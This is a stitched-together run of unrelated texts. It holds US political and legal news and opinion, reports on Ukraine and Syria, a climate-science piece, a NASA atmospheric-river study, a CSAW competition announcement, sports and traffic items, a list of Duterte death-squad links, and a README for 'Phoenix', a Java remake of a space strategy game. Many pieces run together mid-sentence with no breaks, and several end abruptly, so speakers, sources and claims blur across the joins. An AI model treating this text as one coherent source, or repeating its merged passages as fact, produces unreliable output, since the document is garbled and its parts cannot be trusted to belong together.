"Those of you who are doing things in the press on Tuesday, we'd love your help," Reynolds said, "noting some of the clear ways in which Hillary proved herself to be a President and Donald Trump didn't."
Earlier on the call, Reynolds also reiterated what Clinton aides have said is their biggest fear about Monday: They believe Trump will be given softer questions than his opponent.
"We're going to be on the lookout, and we've asked you to be on the lookout, to make sure we're all grading them on the same scale," she told the supporters.
As both campaigns have appeared to be doing ahead of the debate, Reynolds continued to lower expectations around her candidate. She noted that Trump is a "TV star" who will be "telegenic," "entertaining," and likely "put on a good performance" that night.
But she also said that Clinton will be ready for the high bar that's been set for her.
"Expectations be damned," Reynolds said, "We are confident that our candidate will crush that bar."At a time when abortion rights and women’s access to affordable contraception are threatened by political attacks, judges in three newly decided federal cases failed to preserve constitutional protections for women.
On Monday, Judge James Teilborg of the United States District Court in Phoenix upheld an Arizona law signed by Gov. Jan Brewer in April that bans all abortion procedures at 20 weeks from a woman’s last menstrual period, which is about 18 weeks after fertilization.
It is the most aggressive of the previability abortion bans passed recently by a handful of states. It defies binding Supreme Court precedent that prevents states from banning abortions before a fetus can survive outside the womb, which generally occurs at about 24 weeks.
To get around that pesky barrier, Judge Teilborg erroneously characterized Arizona’s outright ban as a permissible “regulation” that limits only “some” previability abortions. To make that argument, he relied, in part, on the fact that the ban contains a dangerously narrow exception for a “medical emergency.”
Advertisement Continue reading the main story
The judge also found the state had valid reason to enact the statute, embracing medically dubious claims about when a fetus can begin to feel pain. He was dismissive of realistic concerns that the law endangers women who develop life- or health-threatening medical problems late in pregnancy and that severe fetal abnormalities sometimes cannot be diagnosed before 20 weeks.Despite constant griping from the Kiev-based government, the ceasefire in Eastern Ukraine had been holding remarkably well, lasting for months with only a few minor skirmishes. That may be coming to an end, with heavy fighting erupting in the east today.
The fighting centers around the towns of Maryinka and Krashohorivka, along the frontier between government forces and the Donetsk-based separatists. The two sides each blamed the other for firing first, with Ukraine claiming the rebels were carrying out a “full-scale offensive” against them.
That seems unlikely at this point, for |
-troubling-duterte-has-done-nothing-to-stop-killings&catid=166%3Athe-davao-killings&Itemid=303 "You Can Die Any Time": Death Squad Killings in Mindanao https://www.hrw.org/report/2009/04/06/you-can-die-any-time/death-squad-killings-mindanao CHR urges probe on Duterte for “death squad” killings http://www.mindanews.com/top-stories/2012/08/19/chr-urges-probe-on-vm-duterte-for-death-squad-killingsnothing-new-duterte-says/ Rodrigo Duterte: The Rise of Philippines’ Death Squad Mayor https://www.hrw.org/news/2015/07/17/rodrigo-duterte-rise-philippines-death-squad-mayor Gov’t has witness against Davao Death Squad – de Lima | Inquirer News http://newsinfo.inquirer.net/693416/govt-has-witness-against-davao-death-squad-de-lima Duterte admits links to Davao Death Squad http://www.abs-cbnnews.com/nation/regions/05/25/15/duterte-admits-links-davao-death-squad-says-hell-kill-100000-criminals Dispatches: The Philippines Death Squad Denial Complex https://www.hrw.org/news/2014/02/06/dispatches-philippines-death-squad-denial-complex Vigilante Killings Rise Steadily in Philippines http://mobile.nytimes.com/2009/04/08/world/asia/08phils.html?referer&_r=0 PHILIPPINE DEATH SQUADS EXTEND THEIR REACH http://www.mapinc.org/drugnews/v05/n491/a04.html?1193 TEENAGERS PERISH IN DAVAO’S KILLING FIELDS http://pcij.org/stories/2002/davao.html POVERTY AND FAMILY ABUSE FORCE DAVAO’S CHILDREN TO THE STREETS http://pcij.org/stories/2002/davao2.html A mother's plea, a city's madness http://carlosconde.com/2006/12/03/a-mothers-plea-a-citys-madness/“This is the latest in a long series of disturbing incidents that reinforce our belief that these costume characters must be licensed and regulated,” president Tim Tompkins said in a statement.
Gia Storms with the Times Square Alliance told CBS 2’s Alice Gainer incidents like Friday’s have been going on for about a year and a half. She said on any given day there can be up to 60 unregulated characters out here.
“The first time we heard about this was a co-worker who came into the office and said ‘on my way to work today Elmo just pinched me on the bottom,'” Storms said.
“Some of them can be up in your face,” Storms added. “There a little bit of pushing and shoving to try and get tips.”
Tompkins suggests characters wear badges with license numbers so they could be easily identified, Diamond reported.
Man Dressed As 'Toy Story' Character Faces Sex Abuse Charges
In April, a man dressed as the Cookie Monster was charged with endangering the welfare of a child after allegedly shoving a 2 1/2-year-old boy.
In February, a 35-year-old man was accused of punching a woman in the face while in a Spider-Man costume after the woman said she didn’t have any money to pay for a photo with her children.
In December 2012, a 32-year-old Super Mario impersonator was charged with groping a woman.
Also in 2012, Dan Sandler was convicted for grabbing little girls and screaming anti-Semitic rants in Times Square while dressed as Elmo – causing a scene that blocked traffic.
Following last year’s Cookie Monster incident, New York City Councilman Peter Vallone Jr. introduced legislation that would either ban or introduce tight regulations on costumed characters.
Vallone had said police do not have the proper tools to deal with the situation.
A disorderly conduct charge would require blocking pedestrian traffic, which the costumed characters are not always doing, Vallone explained. Licensing laws only come into play when someone is selling something, and laws prohibiting wearing masks require two people working together, he added.
The characters are not regulated, but are instead considered street performers protected by the First Amendment.
Reasons and complaints are why the Times Square Alliance said it is planning to work with the new city administration and have been brainstorming ways to regulate the characters.
“It could be a consumer protection. It could be consumer safety. It could really be a lot of different areas, but there’s gotta be a way to make everybody register so we can take away the anonymity, so we know who these guys are behind the mask,” Storms told Gainer.
The people in the get-ups told CBS 2’s Dave Carlin they average about $50 a shift, but lately have not been making that much. They blame it on bad characters making it tough for everyone.
“It’s going to affect people getting near us,” one person dressed in a “Tigger” costume said.
“We’re not bad, you know?” a woman dressed up as “Minnie Mouse” added.
“We’re just trying to scrape up some dollars,” added J.r. Bishop, who was dressed like “Bugs Bunny.”
1010 WINS’ Sonia Rincon spoke with visitors in Times Square who said they would support a regulation on the characters.
“I think they’re trying to make a living, which I understand, but maybe the city can license them somehow and make sure that they should be on the streets,” one man said.
“They get really annoying, they block traffic, I think that they should probably get a corral for them somewhere and stick them in a corner,” another man said.
Tompkins said he is “looking forward to working with the new administration and City Council to come up with an equitable and effective regulatory solution.”
You May Also Be Interested In These Stories:by
If humanity stopped all production of greenhouse gases today, Earth would experience several decades more of additional global warming. That is not simply because the carbon dioxide, methane and other greenhouse gases thrown into the atmosphere by human activity won’t disappear in a day, but because the oceans can’t continue to act as shock absorbers.
Earth has tipped into a heat imbalance since 1970, and this excess heating has thus far been greatly ameliorated because the world’s oceans have absorbed 93 percent of the enhanced heating since the 1970s. This accumulated heat is not permanently stored, but can be released back into the atmosphere, potentially providing significant feedback that would accelerate global warming.
The latest in a series of scientific reports detailing the disastrous course of global warming, “Explaining Ocean Warming: Causes, Effects and Consequences,” concludes that the mean global ocean temperature will increase by as much as 4 degrees Celsius by 2100. In addition to the increasingly unstable weather, more potent tropical cyclones, displacements of aquatic life and boost to atmospheric temperatures that such a rise would cause, massive amounts of frozen methane hydrate in the depth of the seas could be thawed, adding a potent new source of greenhouse gases.
Dozens of climate scientists from around the world contributed peer-reviewed work to the report, research that in turn is based on more than 500 peer-reviews papers. The report builds on the work of the Intergovernmental Panel on Climate Change (IPCC), which in turn was the basis for the Paris climate summit in late 2015. That summit was noteworthy in setting a goal of limiting the increase in temperature to 1.5 degrees above pre-industrial levels, instead of the previous target of a 2-degree rise, often cited as the outer limit before uncontrollable changes are inevitable.
But even if all the national pledges of the Paris climate summit were achieved, global temperatures would rise 2.2 to 3.4 degrees C. by 2100, and the likelihood of all those pledges actually being met are minuscule as there are no enforcement mechanisms. A list of major countries’ pledges reveal a failure to make adequate progress, with many pledges dependent on “cap and trade” scenarios that often amount to subsidies for polluters.
Paris climate summit pledges inadequate
The “Explaining Ocean Warming” report does not sugar-coat that, stating in the conclusion that a fulfillment of the Paris pledges would not result in a return to hospitable conditions. The report says:
“[T]hey actually represent a ‘minimum ambition’ to prevent dangerous anthropogenic interference with the climate system. Achieving the ‘minimum ambition’ will already bring major changes in the functioning and resources of the ocean as we know them. Exacerbating an already concerning situation is the fact that the absorptive role of the ocean is also predicted to decline in the 21st Century, suggesting that the physics and chemistry of the ocean will be significantly different by 2100. As atmospheric CO2 continues to increase as a result of our activities, the solutions (i.e. mitigate, protect, repair, adapt) become fewer and less effective, thus decreasing the long-term ability of humankind to cope with the changes in the ocean that are now being observed.”
The report explains that, volume to volume, sea water is 4,000 more times efficient at retaining heat than is air, providing thus far a buffer to further global warming. But how long can the oceans do this? And at what cost? Coral reefs are dying, sea life patterns are changing, fisheries are in danger of collapsing and oceans are becoming more acidic. Further changes are locked in for decades ahead already, and humanity is ill prepared for this as the stresses on the seas through this excess warming are barely understood. The report says:
“[T]he consequences of increasing human activities have indeed injected vast quantities of heat into the ocean, shielding humanity on land, in so doing, from the worst effects of climate change. This regulating function, however, happens at the cost of profound alterations to the ocean’s physics and chemistry that lead especially to ocean warming and acidification, and consequently sea-level rise. … The problem is that we know ocean warming is driving change in the ocean — this is well documented — but the consequences of these changes decades down the line are far from clear.”
The 13 warmest years for sea surface temperatures have all occurred since 1997, with 2015 the highest yet and eclipsing the previous record of 2014. Parallel to that, August 2016 was the 16th consecutive month that overall global temperatures were the highest on record.
How high and fast will the seas rise?
The continuing building up of heat portends a potentially catastrophic rise in sea level. Two papers published last year calculate that, because of the greenhouse gases already emitted, humanity has already committed itself to a six-meter rise in sea level, and a paper published earlier this year predicts that seas could rise possibly six to nine meters, in 50 to 150 years.
A still more pessimistic National Oceanic and Atmospheric Administration scientist, Margaret Davidson (giving her personal opinion, a NOAA publicist stresses), says that sea level could rise by as much as three meters by 2050 to 2060, a faster rise than current projections. She cites studies being done on the West Antarctic ice sheet. It is important to remember that the scientific controversy centers on the speed of global warming, not its existence — 97 percent of climate scientists agree that human activity is causing global warming, according to a NOAA study that also found the highest levels of agreement correlate with higher levels of expertise.
A major problem is that global warming, as with the associated environmental problems, can’t be solved within the capitalism that has caused, and is accelerating, the problem. All incentives under capitalism are for more growth and thus more greenhouse-gas emissions, and there is no provision to provide new jobs for the many people who would be displaced should the heavily polluting industries in which they work were to be shut down in the interest of the environment. The private capital that profits from environmental devastation is allowed to externalize the costs onto society, an inequality built into the system. The concept of “green capitalism” is a dangerous chimera.
There is no alternative to a dramatic change in the organization of the global economy and consumption patterns. That means significant reductions in energy consumption, an impossibility within a system that requires constant, unending growth. The rosy predictions of magical technology that will allow business as usual while scrubbing the atmosphere of new greenhouse gases, relied upon in the Intergovernmental Panel on Climate Change report that was in turn the basis for the Paris climate summit pledges, are not realistic, environmentalists say, and thus an illusion. Earth’s environment is crossing multiple points of no return — business as usual is impossible.
If we are to be serious about reversing global warming and repairing the environment, we have to create an economic system based on human need that is stable as a steady-state system and under democratic control, rather than our present authoritarian system that is designed to maximize private profit. That is necessary for economic and political reasons, but the environmental crisis adds another dimension. Otherwise, we “will sleepwalk ourselves into a nightmare, where no level of conservation action in the future will be enough,” in the concluding words of the “Explaining Ocean Warming” report. The task is enormous, but the consequences are even bigger.The high- and low-pressure anomaly areas on the map, shown in red/orange (high) and blue (low), are typical of the combined negative phases of the Arctic Oscillation and the Pacific/North American teleconnection. The low-pressure system northwest of California directs atmospheric rivers toward the Sierra Nevada, and the high-pressure systems at higher latitudes prevent the low from drifting northward away from California. Image credit: Bin Guan, NASA/JPL-Caltech and UCLA.
PASADENA, Calif. - A new NASA-led study of atmospheric-river storms from the Pacific Ocean may help scientists better predict major winter snowfalls that hit West Coast mountains and lead to heavy spring runoff and sometimes flooding.
Atmospheric rivers — short-lived wind tunnels that carry water vapor from the tropical oceans to mid-latitude land areas — are prolific producers of rain and snow on California's Sierra Nevada mountains. The finding, published in the journal Water Resources Research, has major implications for water management in the West, where Sierra runoff is used for drinking water, agriculture and hydropower.
The research team studied how two of the most common atmospheric circulation patterns in the Northern Hemisphere interact with atmospheric rivers. They found when those patterns line up in a certain way, they create a virtual freeway that leads the moisture-laden winds straight to the Sierras.
Bin Guan of the Joint Institute for Regional Earth System Science and Engineering, a collaboration between NASA's Jet Propulsion Laboratory in Pasadena, Calif., and UCLA, led a team of scientists from NASA, UCLA and the National Oceanic and Atmospheric Administration (NOAA) on this research.
Satellite water-vapor measurements from Dec. 18, 2010, show an atmospheric river making landfall in California. Continents appear in black. The belt of very moist air (red) centered on the equator is the reservoir that supplies atmospheric rivers. On this date, the AO and PNA were both in their negative phases. Water vapor data from the Special Sensor Microwave Imager and the Special Sensor Microwave Imager/Sounder instruments on Defense Meteorological Satellite Program satellites. Image credit: Bin Guan, NASA/JPL-Caltech and UCLA.
An atmospheric river is a narrow stream of wind, about a mile (1.6 kilometers) high and sometimes of hurricane strength. Crossing the warm tropical Pacific in a few days, it becomes laden with water vapor. A moderate-sized atmospheric river carries as much water as the Mississippi River dumps into the Gulf of Mexico in an average week. When the river comes ashore and stalls over higher terrain, the water falls as snow or rain.
"Atmospheric rivers are the bridge between climate and West Coast snow," said Guan. "If scientists can predict these atmospheric patterns with reasonable lead times, we'll have a better understanding of water availability and flooding in the region." The benefit of improving flood prediction alone would be significant. A single California atmospheric-river storm in 1999 caused 15 deaths and $570 million in damage.
Guan's team used data from the JPL-developed Atmospheric Infrared Sounder (AIRS) instrument on NASA's Aqua satellite, along with NOAA satellite data and snowpack data from the California Department of Water Resources. They looked at the extremely snowy winter of 2010-2011, when 20 atmospheric rivers made landfall.
The team compared the dates of these events with the phases of the Arctic Oscillation (AO) and the Pacific/North American teleconnection (PNA). These large-scale weather patterns wax and wane, stretching thousands of miles across the atmosphere and shaping the climate of the mid-latitudes, somewhat as the better-known El Niño and La Niña patterns do in the tropical Pacific.
Each pattern affects a different part of the Northern Hemisphere by seesawing between phases of lower-than-average and higher-than-average air pressure over various parts of the globe. For example, the negative phase of the AO is associated with higher pressure in the Arctic and lower pressure in the surrounding lower latitudes. In the positive phase, those highs and lows are reversed.
The phases of each pattern change irregularly and at varying intervals. The researchers charted these phases throughout the winter of 2010-2011. During 15 of the winter's 20 atmospheric river occurrences, both patterns were in the negative phase. The team then looked at the period 1998-2011 and found a similar correspondence: more atmospheric rivers occurred when both patterns were negative.
According to Guan, in the double-negative periods, the high- and low-pressure systems associated with that phase in each pattern mesh to create a lingering atmospheric low-pressure system just northwest of California. That low directs the atmospheric river fire hose straight toward the Sierra Nevadas.
Guan points out that the double-negative phase correlation is rare.
"I looked at 50 years of atmospheric data. Only five months had those phases of the PNA and AO occurring together for more than 15 days of the month," he said.
AIRS was built and is managed by JPL for NASA's Science Mission Directorate in Washington. Aqua is managed by NASA's Goddard Space Flight Center, Greenbelt, Md. JPL is a division of the California Institute of Technology in Pasadena.
For more information on AIRS, visit http://airs.jpl.nasa.gov.The 14th annual NYU Cybersecurity Awareness Week (CSAW) games have commenced, drawing the top cybersecurity students from around the globe.
The Downtown Brooklyn campus of New York University Tandon School of Engineering is hosting top student white hats and researchers for round-the-clock challenges designed to test a broad range of computer security skills. Last year, the event was expanded to include events at NYU Abu Dhabi and the Indian Institute of Technology (IIT Kanpur). This year it’s even bigger, with five global sites, including Valence, France, at Grenoble INP-Esisar, one of six engineering schools of the Grenoble Institute of Technology; and Ben-Gurion University in the Negev, Israel’s “cyber alley.”
With hackers influencing politics, holding personal devices ransom, stealing the personal data of entire populations, and threatening institutions—costing businesses $400 billion per year, the demand for information security experts has never been higher.
To encourage interest in the space among those soon to enter the workforce, CSAW highlights include High School Forensics, where 10 teams of US high school students, including an all-female team, will find a skeleton in the Maker Space at NYU Tandon. They must use cybersecurity skills and a clue scrawled on a piece of paper to find out who was responsible for the murder. Nineteen teams will compete at NYU Abu Dhabi and Grenoble-INP Esisar.
The signature event of CSAW, Capture the Flag, or CTF, runs for 36 straight hours, as 15 US college student teams hack through the night in a difficult test of both offensive and defensive security skills. NYU Abu Dhabi, IIT Kanpur and Ben-Gurion University will also host CTF finalist teams.
Also, the toughest event at CSAW tackles one of the most frightening security threats: Malware embedded in the underlying hardware of electronics devices. For this year’s event, sponsored by the United States Office of Naval Research, teams from North America, Europe, Middle East & North Africa, and India will compete simultaneously at NYU Tandon, Grenoble-INP Esisar, NYU Abu Dhabi, and, IIT Kanpur.
Rounding out the agenda: A Cyber Journalism Award; a career fair where the companies, not the attendees, work to impress; and a Law & Policy Competition, where four finalist teams present their public policy solutions designed to make it easier for companies to improve data security and protect consumer privacy.Civilians walk in the rain past a damaged building in the rebel-controlled area of Maaret al-Numan town in Idlib province, Syria October 28, 2015. REUTERS/Khalil Ashawi
BEIRUT (Reuters) - Air strikes in northern Syria have hit at least 12 hospitals in recent weeks, killing at least 35 patients and medical staff in a new escalation of fighting, international medical charity Medecins Sans Frontieres said on Thursday.
The violence has also caused the displacement of thousands of civilians since the end of September, MSF said, reporting a significant increase strikes on medical facilities.
The charity did not specify which country had carried out the air strikes. Russian and Syrian jets have been carrying out an intense air offensive in the west and northwest Syria.
Along with the dozens killed, another 72 were wounded in the strikes on hospitals in Aleppo, Idlib and Hama provinces, and six hospitals were forced to close, MSF said in a statement.
Fighting between rebels and forces loyal to President Bashar al-Assad has intensified since Russia intervened in the war on the side of the government with an air campaign that began on Sept. 30.
In the past month, another 1,700 families have joined 110,000 people already sheltering in camps in Idlib province, MSF said, making it difficult for aid groups to cope with the influx.
Head of MSF for Syria, Sylvain Groulx, condemned the actions of warring parties.
“After more than four years of war, I remain flabbergasted at how international humanitarian law can be so easily flouted by all parties to this conflict,” he was quoted as saying in the statement.Eagles restructure Cullen Jenkins' contract
Team's new deal with defensive tackle means more salary cap flexibility.
The way defensive tackle Cullen Jenkins played in his first year with the Eagles after being signed as a free agent left little doubt they'd want him back for 2012. At issue, however, was a $5-million roster bonus that was due next month, bumping his guaranteed money to $7.75 million.
Jenkins and the Eagles have worked around that figure with the announcement Tuesday that he has agreed to a restructured contract to give the Eagles a little more salary cap flexibility for this season.
"We are very excited about having Cullen back on our football team," general manager Howie Roseman said. "Cullen made an immediate impact for us this year on and off the field. We look forward to a great future together with him in an Eagles uniform."
His new deal still awards him the $5-million bonus but reduces his salary for the upcoming season, enabling the Eagles to better maneuver the free-agent market.
For Jenkins, who feared he might have to go somewhere else for similar money this season, the agreement was a huge relief, because he doesn't want to make another move.
"I wanted to have something where it would be a lot more realistic to move forward in the long term, and I think we were able to accomplish that," Jenkins said. "I wanted to be able to retire an Eagle. I want to be able to retire out here and finish my career as an Eagle. That was something we took into consideration."
Jenkins last season posted 5.5 sacks, seven tackles for losses and 61 total tackles. He became just the second defensive tackle in team history to open a season with one sack in each of the first three games.
Jenkins had spent the previous seven seasons with Green Bay, where he accumulated 29 sacks at both defensive tackle and defensive end. He came through with a career-high seven sacks in 2010 while helping the Packers to a Super Bowl championship.
The contract adjustment could be the prelude to the team making another huge splash in free agency. The Eagles already are believed to be around $23 million under the cap for 2012. That number could grow by $9.5 million if they release cornerback As ante Samuel.
Like the rest of his teammates, Jenkins' optimism level is at an all-time high.
"I know for us up front, the defensive line, we have great chemistry that took time to build through the season," Jenkins said. "I think the one thing that the offseason is really going to help us with is to even better... develop that chemistry throughout the team.
"That's something that we really have to have on our minds throughout the offseason."
[email protected]
610-778-2243
TACKLE BOX
Cullen Jenkins' stats from last season:
•16 games
•61 total tackles
•5.5 sacks (34.5 career)
•7 tackles for lossCLOSE Tips for driving in snow and ice.
The minivan on the right is driving north on Pippin Road in a section under construction where traffic is only open to southbound motorists. In a half-hour period Oct. 9, three cars ignored the one-way construction warning and drove north through the traffic barricades. (Photo: The Enquirer/Jennie Key)
As Ohioans, we have a lot going for us.
Unfortunately, an annual study claims that driving isn't one of them.
According to the report from Quote Wizard, a company which compares insurance rates, Ohio drivers rank the 14th worst in the country.
In comparison, Kentucky drivers ranked 11th best in the country and Indiana drivers ranked 18th.
Top five states for drivers were Rhode Island, Florida, Mississippi, Michigan and Arkansas, while the worst five were California, Minnesota, Utah, South Carolina and Washington.
Officials at QuoteWizard said the study was taken from accidents, speeding tickets, DUIs and other citations from site users and information from the Federal Highway Administration.
The report follows one from the company earlier this year that ranked Columbus drivers as the 7th worst in U.S. metro areas, followed by Cincinnati at 32nd and Dayton at 45th.
“If you’ve ever been cut off by someone with an out-of-state plate and thought, ‘Oh, it figures,’ this study may be for you,” QuoteWizard's Adam Johnson said in a release.
You can find the complete study here.
Connect with Pugh on Twitter @CPugh_Gannett or [email protected].
Read or Share this story: http://cin.ci/2BebOGlRepublicans — like President Trump, for instance — love to puff up their chests, grasp their lapels and declaim in foghorn voices about their devotion to law and order.
And so, on Tuesday, Sarah Huckabee Sanders, the White House press secretary, piously declared that the Justice Department should consider whether James Comey had broken the law before and after Trump fired him as director of the Federal Bureau of Investigation.
“I think if there’s ever a moment where we feel someone’s broken the law, particularly if they’re the head of the F.B.I., I think that’s something that certainly should be looked at,” she said. She was referring to Comey’s exoneration of Hillary Clinton in the email caper, and his admission that he had leaked his own private memo describing conversations with Trump.
It couldn’t get clearer than that, right? Not so fast.
On a Friday night in August, when Hurricane Harvey was barreling into Texas, Trump pardoned Joe Arpaio, the former Maricopa County, Ariz.a, sheriff who had blatantly violated a court order to stop detaining people because he thought they looked Mexican.David Cohen, executive vice president of the Comcast, testifies during a Senate Judiciary Committee hearing on Comcast's proposed merger with Time Warner Cable on Capitol Hill in April. (EPA/Michael Reynolds)
A group of consumer advocates and industry officials are banding together to warn lawmakers and regulators against letting Comcast buy Time Warner Cable. The group, which includes cable competitors such as Dish Network and trade groups representing Hollywood writers and musicians, plans to lobby the Federal Communications Commission and meet with members of Congress as the FCC considers whether to approve the $45 billion deal.
The Stop Mega Comcast Coalition argues that a merger between the nation's two biggest cable companies would give the combined entity too much control over broadband, television programming and advertising.
"To have a unified voice to connect the dots is something valuable as regulators conduct their ongoing, serious review of whether the merger is in the public interest," said Jeffrey Blum, a Dish policy executive.
The 16-member coalition brings together some of Comcast's most vocal opponents, but a number of key companies are notably absent from the organization. Among them are Netflix and Discovery Communications, whose criticism of the merger earlier this year prompted Comcast to fire back with frank accusations of "extortionate demands" on Discovery's part that took many observers by surprise.
Without the explicit backing of those influential players, the coalition may face difficulty gaining traction in Washington. But according to one advocacy group in the mix, who's in the organization matters less than the argument.
"Don't tell me that just because the other side has more lobbyists and lawyers, they'll win," said David Goodfriend, founder of the Sports Fan Coalition. "Facts win."
In a blog post Wednesday, Comcast spokeswoman Sena Fitzmaurice pointed to 600 comments filed to the FCC by politicians, chambers of commerce and others in support of the merger.
"There's no real news here," Fitzmaurice wrote, "a group of existing opponents making the same arguments they have already made and leveling essentially the same criticisms that have been leveled in the past, and weren’t found to be credible in our past transaction reviews."
The launch of the coalition coincides with an FCC decision Wednesday to continue accepting public feedback on the Comcast merger through Dec. 23.Phoenix
This software is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See Appendix A. Copyright notices
Phoenix is an unofficial patch for/a remake of the space TBS Emperor of the Fading Suns (EFS). A six minute video of Phoenix 0.50.0 is on youtube (or click on the embedded video below.)
Phoenix is best summed by the first sentences from the first public post on Wed Dec 19, 2012 at the EFS forum: "I am interested in trying to make an exe replacement using java. Exe replacement meaning i would try to recreate efs.exe functionality using existing datafiles, minus the bugs, plus some modern wargame features."
The creators of the Nova mod stated: "Since we do not have access to the game's source code, we cannot possibly fix ALL of the flaws." Phoenix is an attempt to fix the flaws that remain after all avenues short of fully fixing the executable have been exhausted.
(Notice: having java enabled in a web browser can be a security risk, unless you need to run applets you can ensure Oracle java on browsers is disabled by following the instructions here.)
Software: EFS1.4 installed. Java 8 jdk/jre. (Phoenix save files are incompatible with EFS.EXE save files.)
Hardware: Java 8 capable (Oracle java available for Linux/Mac/Solaris/Windows). 640x480 mode runs well enough on an Asus X54C/K54C laptop with Celeron B815 1.6Ghz dual core and 4GB DDR3 ram.
People who just want to try Phoenix should get the latest release distribution package named Phoenix_X.Y.Z.zip, where X.Y.Z are version numbers, downloadable at Phoenix releases on GitHub. This zip file contains a precompiled jar and also buildable release sources for those who are suspicious of running random binaries found on the Internet.
Unzip the contents of the ` Phoenix_X.Y.Z.zip ` release package to your EFS directory where ` EFS.EXE ` resides. Execution: doubleclick on ` Phoenix.bat ` (on MSWindows) or ` phoenix.sh ` (on BSD/Linux/OSX) or if you use commandline for a 640x480 window type ` java -Xss32m -jar Phoenix.jar `. For a 1280x1024 window type ` java -jar -Xss32m Phoenix.jar -d ` or double click on ` Phoenix1280x1024.bat `.
If you get an error saying java not found then likely java is not in the path and you need either to put java into the path or use absolute path name. Eg. on windows if your java jdk is installed into ` C:\Program Files\Java\jdk1.8.0 ` you would type ` "C:\Program Files\Java\jdk1.8.0\bin\java.exe" -jar -Xss32m Phoenix.jar `
How do mods work with Phoenix? (back to top)
The intent is that all mods which work with EFS1.4 EFS.EXE should work straight out of the box with Phoenix. However, the exact formatting of datafiles which work with EFS.EXE appear broader than what would be expected from studying the EFS1.4 data files. This may result in some surprises as can be seen in the Hyperion 1.4g case below.
Nova 2.3 starts up normally
starts up normally Emperor Wars 3.4e starts up normally, extensive automated java Robot class testing implemented. Certain units (eg. terminators) have more than four (4) attack types, while the standard EFS Gui is capable of showing only four.
starts up normally, extensive automated java Robot class testing implemented. Certain units (eg. terminators) have more than four (4) attack types, while the standard EFS Gui is capable of showing only four. Hyperion 1.4g does not start without modification of UNITSPOT.DAT: In UNITSPOT.DAT line 67 reads ` "desert" "2.0 1.0 2.2.0.0 1.0 0.5 2.0 0.5 1.0 1.0"` when it should be ` "desert" "2.0 1.0 2.0 2.0 1.0 0.5 2.0 0.5 1.0 1.0"` ie there is a dot between the Trd and Air columns which makes Phoenix fail. Correct this and Hyperion should start.
Also in relevant Hyperion versions, remember to replace UNIT.DAT with UNIT3.DAT to enable building of advanced units. This must be done before a game is started since Phoenix loads datafiles only once during program start.
How does Phoenix differ from standard EFS.EXE (back to top)
The aim is to reproduce 100% of desirable EFS1.4 features and add modern game features such as build queues, ultimately replacing EFS.EXE in EFS games.
Functionally, a limitation is the exposure of feature details through available materials. Some things, such as the exact way the plague spreads or the exact way rebellions occur, are hard coded deep in EFS.EXE and can only be approximated by running the orginal game multiple times and inspecting the empirical distribution of results.
Graphically, every detail is in plain sight and the open question is how well can they be reproduced with java. So far, recreating original EFS look and feel has been a success. Font fine tuning seems currently the last obstacle in achieving near 100 % likeness with the original EFS GUI.
A side by side comparison of Phoenix 0.50.0 and EFS1.4 EFS.EXE views of Kish palace in the historical galaxy can be seen by clicking on the thumbnail image below. The vertical alignment difference of 0.5 hexes is due to the EFS.EXE centering the view so that visible hexes above/below are 5.5/3.5 whereas in Phoenix this has been set to 5/4.
Phoenix was not started in a vacuum. It is being built on the knowledge contained in the existing faqs, mods, tools and forum posts. In fall 2012 the only essential information unknown to the public community regarding the GALAXY.GAL file format was the planet map terrain data.
Reasons for trying to "just" patch existing EFS vs. doing a full remake
I am not a proven game designer, and trying to create a new game concept from scratch as you go probably would fail, all previous EFS remake attempts seem to have suffered from this to a degree.
You can use existing EFS1.4 resources: graphics, dat files, galaxy.
You can use existing community resources: most mods should work straight out of the box
EFS must be a good game concept because after twenty years it is still played and even modded actively, even with all the bugs and lack of modern wargame features.
The existing manuals and web tutorials could be used
The existing playerbase could perhaps seriously consider using it, if it fixes the worst bugs, like the crashes, and adds the most needed missing features, like build queues, and removes the annoying features, like the omnipresent "are you sure" queries and the clickfest of events and completed builds at the start of every turn.
Reasons for using java
It is the language I know best.
It has automatic memory management, null-pointer/array index checking, these alone make some serious and subtle bugs hard to introduce.
Minor compatibility problems across Linux, Windows etc.
Things to avoid (or lessons learned from previous game remake attempts)
Talking the project to death. The first EFS remake attempts from early 2000 suffered most from this. Going for the best space TBS game ever. Code slowly becoming too unstable to run.
1 and 2 are simply avoided by going for "EFS1.5 patch" instead of "EFS2.0", the existing EFS1.4 is the blueprint which must be implementented, only one must do a less buggy and more modern implementation. Not much to talk or design, just do.
Using java helps avoid 3, but lack of testing was a bit of a problem until last summer when automated high level testing using java Robot class was implemented. Basically, you play a game, testing features, the mouse and keyboard input and game state are recorded as you play, and the recorded game can be replayed (and features tested) automatically. Currently, there is almost an hours worth of tests in over twenty recorded games. Prior to implementing this testing, I have not been too confident to announce Phoenix outside of forums or threads dedicated to EFS.
The Phoenix project is hosted on github.
|
Forces are now losing an entire battalion a year to mental health problems
The hotly tipped MP – who ruled himself out as a future PM yesterday – also attacked a suspected Treasury bid to escape a Tory manifesto pledge to increase the defence budget by half a per cent above inflation each year.
It was reported that officials argue the Conservatives’ failure to win a majority means they are no longer bound by the manifesto pledge.
News Group Newspapers Ltd 3 Former Army officer Mr Mercer said the government 'could and should have' done more to help needy former troops
But Mr Mercer insisted: “People voted for a Conservative government and part of that was a 0.5% increase above inflation.
“We need to see that because I think defence spending is too low.
“I think if you look at both the threats that we are currently facing and what the UK looks like after Brexit, there is an increased role for our armed forces and we’ve got to fund it.”
British troops arrive in Britain's Caribbean islands to provide help after devastating Hurricane IrmaDisruptive traffic restrictions on the Longfellow Bridge will be extended by two years until about December 2018 because of complications associated with preserving the historic nature of the century-old structure, according to state transportation officials.
Under the new timeline, commuters will have to endure at least two additional years of traffic jams and interruptions of MBTA service on the vital link that connects Cambridge and Boston over the Charles River.
The bridge, known for its iconic “salt-and-pepper shaker towers,” has been estimated by the Massachusetts Department of Transportation to carry about 28,000 vehicles and more than 90,000 transit users on the Red Line daily when it is fully open.
David L. Ryan/Globe Staff/File Crews worked on one of the Longfellow Bridge’s towers in May.
Advertisement
Michael Verseckes, a spokesman for the Massachusetts Department of Transportation, said that to preserve the venerable span’s original construction, workers must use complex techniques that have fallen out of use.
Get Metro Headlines in your inbox: The 10 top local news stories from metro Boston and around New England delivered daily. Sign Up Thank you for signing up! Sign up for more newsletters here
“MassDOT is now working with the contractor to speed up the process to safely repair the historic bridge,” Verseckes said in an e-mail.
The delay, which the agency has not yet publicly announced, stretches to five years a project that had been originally estimated at three. Verseckes said the department will soon schedule meetings to notify the public about the new timeline.
